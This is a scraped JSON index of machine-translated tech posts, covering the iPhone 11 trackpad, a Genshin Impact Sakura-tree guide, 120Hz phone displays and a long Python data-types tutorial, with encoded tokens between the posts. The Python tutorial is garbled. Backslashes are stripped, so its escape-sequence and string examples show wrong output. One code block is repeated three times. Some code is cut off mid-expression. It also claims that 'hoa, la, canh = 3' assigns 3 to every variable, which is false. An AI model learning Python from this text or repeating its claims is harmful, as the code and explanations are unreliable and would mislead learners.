succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mnqinl6Gybr%2FAn5ysnZGnsKl5xaipZqiTYq6vsIyapZ2qn56x\n","link":"/post/how-to-turn-on-google-safesearch-for-pc-and-android/","section":"post","tags":null,"title":"How to turn on Google SafeSearch for PC and Android"},{"body":"One of the more useful actions that 3D Touch can perform is to press the keyboard on the iPhone's screen to turn it into a virtual trackpad. If you use the ‌3D Touch‌, the keyboard will become blank and turn into a trackpad, allowing you to quickly move the cursor on the screen through the text you have written.\nThis common gesture is very useful because it allows you to make quick edits without having to reach and touch the screen. However, in its latest series of devices, Apple has replaced the ‌3D Touch‌ with Haptic Touch and the way to activate the virtual trackpad has changed a bit.\nOn iPhone 11, iPhone 11 Pro and iPhone 11 Pro Max, you must press and hold the spacebar to display the trackpad. In other words, pressing anywhere on the keyboard no longer works.\nIt's a small adjustment, but it's worth noting in case you try to activate the virtual trackpad on the new ‌iPhone‌ in the traditional way and wonder why it doesn't work.\nNote that the gestures work similarly on all Apple devices without ‌3D Touch‌, including the iPhone XR and all iPad models.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq3tdGtrJqkXam%2Foq%2FKqZidZZ%2Bjeqq8x6ilnmVhZnqqvMeopZ5lYWZ6sb7OZqCpoJ%2Bjsm59kGanq6ddoq65\n","link":"/post/how-to-use-virtual-trackpad-on-iphone-11-iphone-11-pro-iphone-11-pro-max/","section":"post","tags":null,"title":"How to use virtual Trackpad on iPhone 11, iPhone 11 Pro, iPhone 11 Pro Max"},{"body":"The Magic Sakura Tree in Inazuma City is a famous location in Genshin Impact. The people of Inazuma often visit this sacred tree to pray for good luck in life. Here are all the details, rewards, and instructions on how to find lightning seals to give this tree.\nUses of the magical Sakura tree  Magic Sakura tree at the back of Grand Narukami Shrine, Inazuma\nThis is a large Sakura tree behind Grand Narukami Shrine, Inazuma. It creates Sakura Blooms for Electro characters to collect using their elemental skills. Sakura Blooms are also an important ingredient for many dishes in Inazuma.\nIn addition, this is a necessary material for many new characters from Inazuma, including Kamisato Ayaka. The player can also use this sacred Sakura tree to teleport to Mt. Yougou.\nThe reward from the sacred Sakura tree Travelers need to collect thunderbolts to supply plants and for leveling up, which requires 25 thunderbolts per level. Each time you level up, the tree will give the Traveler a lot of rewards. In particular, when the tree reaches level 17, the player can unlock new abilities for Electrograna.\n Each level up of the divine Sakura requires 25 lightning seals\nThere are 50 levels of Sakura trees to upgrade. Upon reaching level 3, the player will receive Eternal Current. In the first 5 levels, everyone will receive the following rewards according to each level:\n50000 Mora 10 Magic Minerals Cast 200 EXP Items and materials: Reunion, Fragile Plastic, Eternal Philosophy, Northlander Sword Embryo, Intellectual Crown. To get these rewards, travelers need to collect as many lightning seals as possible. From level 6-50, the player cannot preview the reward.\n The reward from the magic Sakura tree\nHow to collect lightning seals In Grand Narukami Shrine, players will encounter the majestic sacred Sakura tree, a tree that began to grow around the events of the Archon War. Players of Adventure Rank 30 or higher who have completed the Ritou Escape Plan (part of the Inazuma Archon Quest) can begin interacting with it.\nProviding 25 thunderbolts will upgrade Sacred Sakura's Favor and gain amazing rewards from Acquaint and Intertwined Fates, Crowns of Insight, Mora, and more. Doing this will also increase the benefits of carrying Electrogranum, making the journey to explore Inazuma easier.\nWith 40 levels and counting, here's how players can equip enough lightning seals to level up the sacred Sakura tree.\nOpen chest  Players can open chests everywhere in Inazuma to receive lightning seals\nWhen a chest is found in Inazuma, the player will receive a lightning seal (Electro Sigil). Another source is from the Seven Angels Idol rewards. Players can check the chest locations in Inazuma in the Genshin Impact Interactive Map.\nChests are common throughout Inazuma and each has different item values. Certain chests are locked by puzzle or by enemies, but completing the quests required to unlock these chests is usually relatively straightforward. Chests found in the open world will usually contain weapons, adventure exp, and the gift of Primeval Stones with a lightning seal inside.\nUpgrading the Seven Angels Idols  Upgrading the Seven Angels also helps players get lightning seals\nPlayers will be granted lightning seals when upgrading the Seven Angels. Travelers can collect various Electroculus - purple Oculus floating around Inazuma while exploring the country to dedicate these statues and level up it. Electroculus are represented by a sparkling icon on the map when the player approaches them. In addition to many of the usual rewards like in Mondstadt and Liyue of the Seven Angels, travelers will receive some lightning seals from these statues.\nComplete the territory challenge The final way to get the lightning seal is to complete the territory challenges. Once completed, the traveler will be given a chest with many rewards, including lightning seals. However, not all territories in Inazuma reward players with valuable items. Complete territory challenges in Inazuma to receive 5 lightning seals each time:\nFormation Estate - Jakotsu Mine (Yashiori Island) Moshiri Kara - northern Tsurumi . island Palace in a Pool - Suigetsu Pool (Watatsumi Island) Shakkei Pavilion - southeast of Tatarasuna ncG1vNJzZmismaXArq3KnmWcp51ktKa60qGgp2WZor2ir9NmoKerpKfCpMDIqKWsZaSkeqS7y6WcnKxdobaotNOnoKefXaiyorjSZquoZaKasKa11Z5kraCVYrqis8icZKyZm6q%2FonnTq5yeZaKaxKK%2Bww%3D%3D\n","link":"/post/instructions-to-collect-lightning-seals-to-receive-the-magic-sakura-tree-reward/","section":"post","tags":null,"title":"Instructions to collect lightning seals to receive the magic Sakura tree reward"},{"body":"Not all 120Hz phones have the same screen quality, features, and battery life. There are many things that make a great screen, not just the frame rate in the specs sheet.\nAnd if you don't know, there are already some phones that are equipped with a high-frequency scanning screen, but this mode has been turned off right from the factory, or placed under certain restrictions in exchange for battery life. Google and Samsung are examples. In addition, there are questions that need to be answered about the quality of 120Hz monitors, as they are quickly appearing in the mid-range segment. Will such displays really compare to those 120Hz screens on flagship devices?\n120Hz is not a guarantee for quality\nWhile 90Hz and 120Hz monitors help move in certain applications and elements of the user interface (UI) look smoother, a higher refresh rate is not an indication of screen quality. . Color accuracy, brightness correction, and white balance are all independent of the refresh rate and have a greater impact on the quality of most displayed content. While 120Hz may look smoother, photos and videos may still look pale or oversaturated if the screen itself is poorly calibrated.\nFor that reason, different display models from different manufacturers will look quite different, even though they may have the same refresh rate. For example, low-cost monitors are more likely to experience noticeable problems during use, as well as poor color calibration. Be careful with low-cost phones equipped with high refresh frequency panels, as they can be a \"blessing\" to distract consumers from other issues. On the other hand, high-end flagship phone screens can have better color calibration than usual, which is why you should still pay attention to traditional display quality standards. refresh rate.\nTraditional 60Hz monitors can still look better than 120Hz panels, at least in terms of color accuracy. This is especially true when comparing high-end 60Hz panels with cheap 120Hz monitors. Overall quality is definitely more important than the slightly smoother feel on the user interface. Moreover, just because a screen is advertised as 90Hz or 120Hz does not mean that the majority of applications and content will actually take advantage of it.\n Android apps, content, and itself are important\nNot only does the screen quality differ between devices - so does the amount of content that supports high refresh rates. What does it mean to own a phone with a 120Hz screen but never use it? This is a basic issue to consider when exploring monitors with high refresh rates.\nThe frame rate of an application or game depends not only on the hardware but also on how the application is programmed to render, and how Android works. Google has published information regarding how high refresh rate monitors work with content in Android. The first point to note is that the frame rate is limited by the rendering time, which is controlled by Android Choreographer. 120Hz monitors only have 8.3ms between frames, in which the GPU has to draw the frames. Some apps and games render at the monitor's refresh rate, so they can work at full frame rate. However, other applications simply take too long to build, or use custom rendering tools with lower update rates, so they simply cannot reach 120Hz. Instead,Games can stop at 90, 60, 45, or even 30fps.\nThe key thing to draw here is that: a phone with a 120Hz screen does not mean that every application will run at 120Hz. Phones with higher processing power are more likely to achieve high frame rates with lower latency, though some applications may be optimized for specific platforms.\nThe situation is more complicated when using many applications and UI elements at the same time. Google says 120Hz monitors will watch fine 24, 30, 45 and 60fps content without flicker, because 120 is divisible by these frequencies. Playing a 24fps video on a 120Hz screen avoids the 3: 2 downgrade algorithm required by a 60Hz monitor. However, conflicts can occur between software, for example, video has a low frame rate, while UI has a high frame rate. That's when Android has to jump in and choose a frame rate, which can lead to flicker and / or drop to 60Hz standard frequency.\nIn Android 11 there is a new API setFrameRate, which helps to find the optimal frame rate for many applications running at the same time. However, current devices still have to live with conflict. In short, applications and games can affect refresh rates, but the final decision rests with the platform. Let's hope next year's Android 11 phones will handle content with mixed refresh rates better than current models.\nIn general, making sure every application achieves very high frame rates is very difficult. Instead, Android will actively convert the frame rate to best suit the application you are choosing. But even so, it still depends on the manufacturers that designed their devices.\n Display processors are the differentiating factors\nIf you find everything still understandable, then read on: devices can also add their own display processing layer to upscale or eliminate flickering beyond the standard Android framework. Here, processing power is important, because some effects can use a lot of power. Independent display processors (DPUs) can perform these tasks much more efficiently. But you will need one more processor inside your smartphone.\nQualcomm Snapdragon processors are equipped with display and effects processors from the Adreno GPU series. These processors handle video decoding and rendering, and the application processor can run additional display processing software. For example, Pixelworks, a company specializing in display enhancement technology, took advantage of Snapdragon 865 to run Soft Iris calibration program and features such as tone-maping and converting SDR to HDR on OnePlus 8 models. Other SoCs have their own DPUs, but mid- or low-end chips don't have the hardware to run more advanced features efficiently. For example, the Snapdragon 765G only supports 120Hz on the FHD + screen, while the 865 can \"handle\" 144Hz at QHD + resolution.\nComplex display features will run more efficiently on independent processors. These include the Pixelworks' Iris5 and Arm's Mali-D77 or Arm's D71, although they possess different capabilities. For example, Iris 5 has the ability to upscale MEMC video frame rates and eliminate camera shake. Upscale and interpolation of videos, games, and other applications can help improve smoothness even when the default application is running at low frame rates. Advanced display processors not only bring new features, but also improve power consumption - a very important factor when using 120Hz monitors that drink batteries like water.\n Not all 120Hz monitors are the same\nCertainly everyone wants a monitor with a high frame rate, but there are many other things that contribute to overall display quality, not just hertz numbers. Standard image quality criteria still apply, and a monitor that supports 90 or 120Hz does not mean they will have excellent color or brightness. Still, 120Hz panels can look great, especially if your phone has software and hardware power to support advanced calibration and color mapping features.\nIn addition, you should also research whether there are other display features that come with the device. A standalone processor with advanced features can give you smoother content while ensuring all-day battery life, instead of an under-average 120Hz experience. And don't forget that future new apps, along with Android 11, will give you more opportunities to enjoy higher refresh rates.\nThat's why not all 120Hz smartphones are the same.\nncG1vNJzZmismaXArq3KnmWcp51ku7DAjJqjpWVhZ32pxoyspJqqpKW1sLrEZqqcqpWau7R5wKucZqyYmnq0rcyeZK2gmah6qr%2BMsJ%2By\n","link":"/post/not-all-120hz-smartphone-screens-are-the-same-this-is-why/","section":"post","tags":null,"title":"Not all 120Hz smartphone screens are the same, this is why"},{"body":"In the previous section, we became familiar with the first Python program, adding two numbers and printing their sum out of the screen. In this section, you will learn how to use Python as a computer, learn numbers, strings, lists and take the first step towards Python programming.\nBecause the article will list the most important content of all data types in Python, it will be quite long. Each data type comes with a specific example so you can easily imagine.\nMake sure you save this Python Document page to update the latest articles. Don't forget to do Python exercises to reinforce your knowledge.\nData type in Python 1. Turn in Python 2. Digital data type in Python Digital data types in Python Switch between numeric types in Python Python Decimal Module When should I use Decimal instead of floats? Fractions in Python Math in Python Use interpreter like pocket calculator  3. String (string) How to create a string in Python How to access the element of the string Change or delete the string Stringing Repeat and check the element of the string Python functions are built-in to work with strings Format () method to format the string The method is often used in string  4. List (list) How to create lists in Python Access the list element Slicing lists in Python Change or add elements to the list Delete or remove an element from the list in Python List method in Python List comprehension: How to create a new list briefly Check if the element is in the list For loop in list Python functions integrated with the list  5. Tuple Where is Tuple more than the list? Create a tuple Access the elements of tuple Change a tuple Delete tuple Methods and functions used with tuple in Python Check the element in tuple Loop through the elements of tuple in Python  6. Set How to create a set How to change set in Python Delete element from set Set operators in Python The methods used on the set Check element in set Repeat through the set element The function is often used on set Frozenset in Python  7. Dictionary How to create dictionary in Python Access the dictionary element Change, add element to dictionary Delete the dictionary element Methods and functions for dictionary Dictionary comprehension in Python Check and loop through the element in dictionary  8. Switch between data types 9. The first step towards programming 1. Turn in Python Variables are a location in memory used to store data (values). The variable is uniquely named to distinguish between different memory locations. The rules for writing a variable name are the same as the rules for writing identifiers in Python.\nIn Python, you don't need to declare the variable before using it, just assign a variable a value and it will exist. There is also no need to declare variable type, the variable type will be automatically received based on the value you assigned to the variable.\nAssign values ​​to variables:\nTo assign a value to the variable, use the = operator. Any kind of value can be assigned to a valid variable.\nFor example:\nhoa = \"Hồng\" la = 3 canh = 5.5  Above are three assignment statements, \"Pink\" is a character string, assigned to the flower variable, 3 is an integer and is assigned to la, 5.5 is a decimal number and assigned to the soup.\nAssign multiple values:\nIn Python you can perform multiple assignments in a command like this:\nhoa, la, canh = \"Hồng\", 3, 5.5  If you want to assign the same value to multiple variables, you can write the following command:\nhoa, la, canh = 3  The above command will assign a value of 3 to all three variables, flowers, la and soup.\n2. Digital data type in Python Digital data types in Python Python supports integers, decimals, and complex numbers, which in turn are defined as int, float, and complex classes in Python. Integers and decimals are distinguished by the presence or absence of the decimal point. For example: 5 is an integer, 5.0 is a decimal number. Python also supports complex numbers and uses the suffix j or J to indicate the virtual part. For example: 3+5j . In addition to int and float , Python supports two more types of numbers, Decimal and Fraction .\nWe will use the type () function to check which variable or value belongs to the class and isinstance () to check if they belong to any particular class.\na = 9 # Output: print(type(a)) # Output: print(type(5.0)) # Output: (10+2j) b = 8 + 2j print(b + 2) # Kiểm tra xem b có phải là số phức không # Output: True print(isinstance(b, complex)) a = 9 # Output: print(type(a)) # Output: print(type(5.0)) # Output: (10+2j) b = 8 + 2j print(b + 2) # Kiểm tra xem b có phải là số phức không # Output: True print(isinstance(b, complex)) a = 9 # Output: print(type(a)) # Output: print(type(5.0)) # Output: (10+2j) b = 8 + 2j print(b + 2) # Kiểm tra xem b có phải là số phức không # Output: True print(isinstance(b, complex))  Python integers are not limited to lengths, decimals are limited to 16 numbers after the decimal point.\nThe numbers they work on are usually a factor of 10, but computer programmers (usually embedded programmers) need to work with binary, hexadecimal and octal systems. To represent these coefficients in Python, we put an appropriate prefix before that number.\nCoefficient prefix for Python numbers:\nNumber system Binary Prefix '0b' or '0B' Octal system '0o' or '0O' Hexadecimal '0x' or '0X' (You put the prefix but no sign \").\nHere is an example of using coefficient prefixes in Python, and when using the print () function to print their values ​​to the screen, we get the corresponding number in the factor of 10.\n# Output: 187 print(0b10111011) # Output: 257 (250 + 7) print(0xFA + 0b111) # Output: 15 print(0o17)  Switch between numeric types in Python We can convert this number type to another number. This is also called coercion. Operations such as addition and subtraction will implicitly convert integers to decimal numbers (automatically) if there is an operator in the operation that is a decimal.\nFor example: If you perform the addition of integer 2 and decimal number 3.0, then 2 will be forced to convert into decimal 2.0 and the result will be a 5.0 decimal.\n\u0026gt;\u0026gt;\u0026gt; 2 + 3.0 5.0  We can use built-in Python functions like int (), float () and complex () to switch between numeric types explicitly. These functions can even be converted from strings.\n\u0026gt;\u0026gt;\u0026gt; int(3.6) 3 \u0026gt;\u0026gt;\u0026gt; int(-1.2) -1 \u0026gt;\u0026gt;\u0026gt; float(7) 7.0 \u0026gt;\u0026gt;\u0026gt; complex('2+8j') (2+8j)  When converting from decimal to integer, the number will be dropped, only the integer part is taken.\nPython Decimal Module The built-in float class in Python can surprise us a bit. Normally, if calculating 1.1 and 2.2, we think the result will be 3.3, but it doesn't seem to be so. If you check the correctness and error of this operation in Python, the result will be False.\n\u0026gt;\u0026gt;\u0026gt; (1.1 + 2.2) == 3.3 False  What happened?\nThis is because decimal numbers are implemented in computer hardware in the form of binary fractions, because computers only understand binary numbers (0 and 1), so most of the decimal fraction we know , cannot be stored correctly in the computer.\nFor example, we cannot represent 1/3 fraction as a decimal number, since it is an infinite decimal number, with numbers after the decimal point infinitely long, we can only estimate it. .\nWhen converting decimal 0.1, it will lead to infinitely long binary part of 0.000110011001100110011 . and the computer only stores part of the finite number after the sign. Its just. Therefore, the stored number is only approximately 0.1 but never equal to 0.1. That is why, the addition we mentioned above does not produce the results we expect. That is the limit of computer hardware, not Python error.\nNow try typing the addition above into Python to see what the result is:\n\u0026gt;\u0026gt;\u0026gt; 1.1+2.2 3.3000000000000003  To fix this problem, we can use the Python Decimal module. While the float only takes 16 digits after the decimal point, the Decimal module allows to customize the length of the number.\nimport decimal # Output: 0.1 print(0.1) # Output: 0.1000000000000000055511151231257827021181583404541015625 print(decimal.Decimal(0.1))  This module is used when we want to perform operations with decimal numbers to get the results we have learned at school.\nThis is also quite important, for example 25.50kg will be more accurate than 25.5kg, because 2 decimal places are still more accurate than 1 digit.\nfrom decimal import Decimal # Output: 3.3 print(Decimal('1.1') + Decimal('2.2')) # Output: 10.000 print(Decimal('4.0') * Decimal('2.50'))  If you want a more concise code, you can enter the Decimal module and edit the module name to D.\nfrom decimal import Decimal as D # Output: 3.3 print(D('1.1') + D('2.2')) # Output: 10.000 print(D('4.0') * D('2.50'))  In this code, enter the Decimal module and edit its name to D, the result is unchanged from the above code.\nYou can ask in the multiplication section, why not use Decimal number to multiply it by adding 0 after 4 and 2.5. The answer is efficiency, operations with floats are faster than Decimal operations.\nWhen should I use Decimal instead of floats? We often use Decimal in the following cases:\nWhen creating a financial application, it is necessary to represent the decimal part exactly. When you want to control the accuracy of numbers. When you want to do the math just like you did at school. Fractions in Python Python provides fractions related to fractions through fractions modules. A fraction with a numerator and denominator, both are integers. We can create Fraction objects in many different ways:\nimport fractions # Tạo phân số từ số thập phân print(fractions.Fraction(4.5)) # Output: 9/2 # Tạo phân số từ số nguyên # Code by TipsMake.com print(fractions.Fraction(9)) # Output: 9 # Tạo phân số bằng cách khai báo tử, mẫu số print(fractions.Fraction(2,5)) # Output: 2/5  When creating fractions from floats, we can get unusual results, which is due to computer hardware limitations as discussed in the decimal module.\nIn particular, you can initialize a fraction from the string. This is the preferred initialization method when using decimal numbers.\nimport fractions # Khởi tạo phân số từ float print(fractions.Fraction(0.1)) # Output: 3602879701896397/36028797018963968 # Khởi tạo phân số từ string # Code by TipsMake.com print(fractions.Fraction('0.1')) # Output: 1/10  Fraction data types fully support basic operations such as addition, subtraction, multiplication, division and logic:\n# Output: 1 print(F(2,5) + F(3,5)) # Output: 3/5 print(F(2,5) + F(1,5)) # Output: 7/1 print(1 / F(3,7)) # Output: False print(F(-2,9) \u0026gt; 0) # Output: True print(F(-2,9)  Math in Python Python provides math and random modules to solve other math problems such as trigonometry, logarithm, probability and statistics, etc. Since the math module has many functions and attributes, I calculated will do a separate article to list them. Below is an example of math in Python.\nfrom fractions import Fraction as F import math # Output: 3.141592653589793 print(math.pi) # Output: -1.0 print(math.cos(math.pi)) # Output: 22026.465794806718 print(math.exp(10)) # Output: 2.0 print(math.log2(4)) # Output: 1.1752011936438014 print(math.sinh(1)) # Output: 40320 print(math.factorial(8))  Use interpreter like pocket calculator The interpreter acts as a simple calculator: You can enter a calculation and it will write the value. Expression syntax is quite simple: operators like +, -, * and / work like most other programming languages ​​(Pascal, C), parentheses () can be used to group . For example:\n\u0026gt;\u0026gt;\u0026gt; 2 + 2 4 \u0026gt;\u0026gt;\u0026gt; 50 - 5*6 20 \u0026gt;\u0026gt;\u0026gt; (50 - 5*6) / 4 5.0 \u0026gt;\u0026gt;\u0026gt; 8 / 5 # phép chia luôn trả về một số dạng thập phân với dấu chấm 1.6  Integers (eg 2 , 4 , 20 ) are of type int , decimal numbers (such as 5.0 , 1.6 ) are of type float .\nDivide ( / ) always returns type float. To perform the partial division (remove the numbers after the decimal point) you can use the operator // ; To calculate the remainder, use % as the example below:\n\u0026gt;\u0026gt;\u0026gt; 17 / 3 # phép chia thường trả về số thập phân 5.666666666666667 \u0026gt;\u0026gt;\u0026gt; \u0026gt;\u0026gt;\u0026gt; 17 // 3 # phép chia lấy số nguyên, loại bỏ phần sau dấu thập phân 5 \u0026gt;\u0026gt;\u0026gt; 17 % 3 # toán tử % trả về số dư của phép chia 2 \u0026gt;\u0026gt;\u0026gt; 5 * 3 + 2 # thương * số chia + số dư 17  With Python, you can use the ** operator to calculate the exponent:\n\u0026gt;\u0026gt;\u0026gt; 5 ** 2 # 5 bình phương 25 \u0026gt;\u0026gt;\u0026gt; 2 ** 7 # 2 mũ 7 128  The equal sign = is used to assign a value to a variable. After that, no results will be displayed before the next command prompt:\n\u0026gt;\u0026gt;\u0026gt; width = 20 \u0026gt;\u0026gt;\u0026gt; height = 5 * 9 \u0026gt;\u0026gt;\u0026gt; width * height 900  If a variable is not defined (assign value), try to use that variable, you will get the following error:\n\u0026gt;\u0026gt;\u0026gt; n # bạn đang cố truy cập vào biến n chưa được gán giá trị Traceback (most recent call last): File \"\", line 1, in NameError: name 'n' is not defined  Python fully supports floating point, the calculation has both integers and decimals, the result will return the number in decimal (verb: operator with mixed type operand converts integer operand to decimal):\n\u0026gt;\u0026gt;\u0026gt; 4 * 3.75 - 1 14.0  In interactive mode, the last printed expression will be assigned to variable _ , making it easier to perform further calculations. For example:\n\u0026gt;\u0026gt;\u0026gt; tax = 12.5 / 100 \u0026gt;\u0026gt;\u0026gt; price = 100.50 \u0026gt;\u0026gt;\u0026gt; price * tax 12.5625 \u0026gt;\u0026gt;\u0026gt; price + _ 113.0625 \u0026gt;\u0026gt;\u0026gt; round(_, 2) 113.06  You should treat this variable as read-only, do not assign a value to it - because creating a variable of the same name will take up this default variable and no longer do good things like that.\n3. String (string) String in Python is a sequence of characters. Computers do not handle characters, they only work with binary numbers. Although you can see the characters on the screen, they are stored and processed internally as a combination of numbers 0 and 1. Converting the numeric character is called encoding and the reverse process called decoding. ASCII and Unicode are 2 of the commonly used common encodings.\nIn Python, string is a sequence of Unicode characters. Unicode includes all characters in all languages ​​and provides uniformity in encoding.\nHow to create a string in Python Besides numbers, Python can also manipulate strings, represented in many ways. They can be put in single quotes ( '.' ) or double ( \".\" ) with the same result.  used to \"escape\" these 2 quotes.\n\u0026gt;\u0026gt;\u0026gt; 'spam eggs' # dấu nháy đơn 'spam eggs' \u0026gt;\u0026gt;\u0026gt; 'doesn't' # sử dụng ' để viết dấu nháy đơn. \"doesn't\" \u0026gt;\u0026gt;\u0026gt; \"doesn't\" # .hoặc sử dụng dấu nháy kép \"doesn't\" \u0026gt;\u0026gt;\u0026gt; '\"Yes,\" he said.' '\"Yes,\" he said.' \u0026gt;\u0026gt;\u0026gt; \"\"Yes,\" he said.\" '\"Yes,\" he said.' \u0026gt;\u0026gt;\u0026gt; '\"Isn't,\" she said.' '\"Isn't,\" she said.'  In the interactive interpreter, the result string consists of a quotation mark and special \"escape\" characters used. Although the output looks a bit different from the input (the enclosed quotes may change), these two strings are equivalent. The string is written in quotation marks when the string contains single quotes and no double quotes, otherwise it will be written in single quotes. The print () function creates a more readable output string, by skipping the apostrophe enclosed and printing special characters, \"hiding\" the quotes:\n\u0026gt;\u0026gt;\u0026gt; '\"Isn't,\" she said.' '\"Isn't,\" she said.' \u0026gt;\u0026gt;\u0026gt; print('\"Isn't,\" she said.') \"Isn't,\" she said. \u0026gt;\u0026gt;\u0026gt; s = 'First line.nSecond line.' # n nghĩa là dòng mới \u0026gt;\u0026gt;\u0026gt; s # không có print(), n sẽ được viết trong kết quả đầu ra 'First line.nSecond line.' \u0026gt;\u0026gt;\u0026gt; print(s) # có print(), n sẽ tạo ra dòng mới First line. Second line.  If you do not want the characters added by interpreted by the interpreter as a special character, use the raw string by adding r to the first quotation mark:\n\u0026gt;\u0026gt;\u0026gt; print('C:somename') # ở đây n là dòng mới! C:some ame \u0026gt;\u0026gt;\u0026gt; print(r'C:somename') # thêm r trước dấu nháy C:somename  String strings can be written on multiple lines by using 3 quotes: \"\"\".\"\"\" or '''.''' . End lines automatically included in the string, but can prevent this by adding  at the end of the line. For example:\nprint(\"\"\" Usage: thingy [OPTIONS] -h Display this usage message -H hostname Hostname to connect to \"\"\")  This is the result (the new original line is not counted):\n  Here is a list of all escape sequences supported by Python:\nEscape SequenceLayewewline Backslash and new line are ignored Backslash 'Single quotation mark' Double quotes a ASCII Bell\nb ASCII Backspace f ASCII Formfeed n ASCII Linefeed r ASCII Carriage Return t ASCII Horizontal Tab v ASCII Vertical Tab ooo The character has an octal value ooo xHH The hexadecimal character is HH For example: Run each command individually in the compiler to see your results.\n\u0026gt;\u0026gt;\u0026gt; print(\"C:Python32TipsMake.com\") C:Python32TipsMake.com \u0026gt;\u0026gt;\u0026gt; print(\"In dòng nàynthành 2 dòng\") In dòng này thành 2 dòng \u0026gt;\u0026gt;\u0026gt; print(\"In giá trị x48x45x58\") In giá trị HEX \u0026gt;\u0026gt;\u0026gt;  How to access the element of the string Strings can be indexed with the first character numbered 0. There is no separate character type, each character is simply a number:\n\u0026gt;\u0026gt;\u0026gt; word = 'Python' \u0026gt;\u0026gt;\u0026gt; word[0] # ký tự ở vị trí số 0 'P' \u0026gt;\u0026gt;\u0026gt; word[5] # ký tự ở vị trí số 5 'n'  Index can also be negative, start counting from the right:\n\u0026gt;\u0026gt;\u0026gt; word[-1] # last character 'n' \u0026gt;\u0026gt;\u0026gt; word[-2] # second-last character 'o' \u0026gt;\u0026gt;\u0026gt; word[-6] 'P'  Note that since -0 is similar to 0, negative indicators start at -1.\nIn addition to numbering, slices are also supported. While the index is used to retrieve individual characters, slices will allow you to retrieve substring:\n\u0026gt;\u0026gt;\u0026gt; word[0:2] # các ký tự từ vị trí 0 (bao gồm) đến 2 (loại trừ) 'Py' \u0026gt;\u0026gt;\u0026gt; word[2:5] # các ký tự từ vị trí 2 (bao gồm) đến 5 (loại trừ) 'tho'  Notice how the characters are retained and excluded. It always ensures that s[:i] + s[i:] equal to s :\n\u0026gt;\u0026gt;\u0026gt; word[:2] + word[2:] 'Python' \u0026gt;\u0026gt;\u0026gt; word[:4] + word[4:] 'Python'  The index in the chain cut has a pretty default setting, there are 2 indexes that are ignored by default, 0 and the size of the cut string.\n\u0026gt;\u0026gt;\u0026gt; word[:2] # các ký tự từ đầu đến vị trí thứ 2 (loại bỏ) 'Py' \u0026gt;\u0026gt;\u0026gt; word[4:] # các ký tự từ vị trí thứ 4(lấy) đến hết 'on' \u0026gt;\u0026gt;\u0026gt; word[-2:] # các ký tự thứ hai tính từ cuối lên (lấy) đến hết 'on'  Another way to remember how to cut the work sequence is to visualize the indicators as partitions between characters, with the leftmost character being numbered 0. Then, the last character on the right, in string n characters will have an index n, for example:\n+---+---+---+---+---+---+ | P | y | t | h | o | n | +---+---+---+---+---+---+ 0 1 2 3 4 5 6 -6 -5 -4 -3 -2 -1  The first row of numbers brings the position of the index from 0 to 6 in the series. The second row is the corresponding negative indicators. When cutting from i to j will include all characters between i and j, respectively.\nFor non-negative indicators, the length of a slice is the difference of the indicators, if both are within the limit. For example, the length of word [1: 3] is 2.\nTrying to use an index that is too large will return an error:\n\u0026gt;\u0026gt;\u0026gt; word[42] # từ chỉ có 6 ký tự Traceback (most recent call last): File \"\", line 1, in IndexError: string index out of range  However, indexes outside the slice range are still handled neatly when used to cut:\n\u0026gt;\u0026gt;\u0026gt; word[4:42] # cắt ký tự từ vị trí thứ 4 đến 42 'on' \u0026gt;\u0026gt;\u0026gt; word[42:] # cắt ký tự sau vị trí 42 ''  Change or delete the string Python strings cannot be changed - they are fixed.Therefore, if you intentionally assign a character to an indexed location, you will receive an error message:\n\u0026gt;\u0026gt;\u0026gt; word[0] = 'J' . TypeError: 'str' object does not support item assignment \u0026gt;\u0026gt;\u0026gt; word[2:] = 'py' . TypeError: 'str' object does not support item assignment  If another string is needed, the best way is to create a new one:\n\u0026gt;\u0026gt;\u0026gt; 'J' + word[1:] 'Jython' \u0026gt;\u0026gt;\u0026gt; word[:2] + 'py' 'Pypy'  You cannot delete or remove characters from the string, but like tuple, you can delete the entire string, using the del keyword:\nqtm_string = 'quantrimang.com' del qtm_string # Output: NameError: name 'qtm_string' is not defined qtm_string  Stringing Strings can be joined together by the + operator and replaced by * :\n\u0026gt;\u0026gt;\u0026gt; # thêm 3 'un' vào sau 'ium' \u0026gt;\u0026gt;\u0026gt; 3 * 'un' + 'ium' 'unununium'  Two or more characters in the form of strings (ie, characters in the quotes) are joined automatically.\n\u0026gt;\u0026gt;\u0026gt; 'Py' 'thon' 'Python'  This feature only works with string literal, not with variables or expressions:\n\u0026gt;\u0026gt;\u0026gt; prefix = 'Py' \u0026gt;\u0026gt;\u0026gt; prefix 'thon' # không thể nối một biến với một chuỗi . SyntaxError: invalid syntax \u0026gt;\u0026gt;\u0026gt; ('un' * 3) 'ium' . SyntaxError: invalid syntax  If you want to join variables together or variables with strings, use the + sign:\n\u0026gt;\u0026gt;\u0026gt; prefix + 'thon' 'Python'  This feature is especially useful when you want to break long strings into shorter strings:\n\u0026gt;\u0026gt;\u0026gt; text = ('Put several strings within parentheses ' . 'to have them joined together.') \u0026gt;\u0026gt;\u0026gt; text 'Put several strings within parentheses to have them joined together.'  If you want to join strings in many different lines, use parentheses:\n\u0026gt;\u0026gt;\u0026gt; # sử dụng () \u0026gt;\u0026gt;\u0026gt; s = ('Xin ' . 'chào!') \u0026gt;\u0026gt;\u0026gt; s 'Xin chào!'  Repeat and check the element of the string Like list and tuple, you also use the for loop when you need to loop through a string, like for example counting the number of \"i\" characters in the following string:\ncount = 0 for letter in 'TipsMake.com': if(letter == 'i'): count += 1 # Output: Có 1 chữ i được tìm thấy print('Có', count,'chữ i được tìm thấy')  To check if a substring is in the string, use the keyword print, as follows:\n\u0026gt;\u0026gt;\u0026gt; 'quantrimang' in 'quantrimang.com' True \u0026gt;\u0026gt;\u0026gt; 'python' in 'quantrimang.com' False \u0026gt;\u0026gt;\u0026gt;  Python functions are built-in to work with strings There are two most common functions when working with strings in Python: enumerate () and len ().\nThe len() function is built into Python, which returns the length of the string:\n\u0026gt;\u0026gt;\u0026gt; s = 'supercalifragilisticexpialidocious' \u0026gt;\u0026gt;\u0026gt; len(s) 34  The enumerate () function returns the listed object, containing the value and index pairs of the element in the string, which is quite useful while looping.\nqtm_str = 'Python' # enumerate() qtm_enum = list(enumerate(qtm_str)) # Output: list(enumerate(qtm_str) = [(0, 'P'), (1, 'y'), (2, 't'), (3, 'h'), (4, 'o'), (5, 'n')] print('list(enumerate(qtm_str) = ', qtm_enum)  Format () method to format the string The format () method is very flexible and powerful when used to format strings. The string format contains the {} mark as a placeholder or a replacement field to receive the replacement value. You can also use position or keyword arguments to specify the 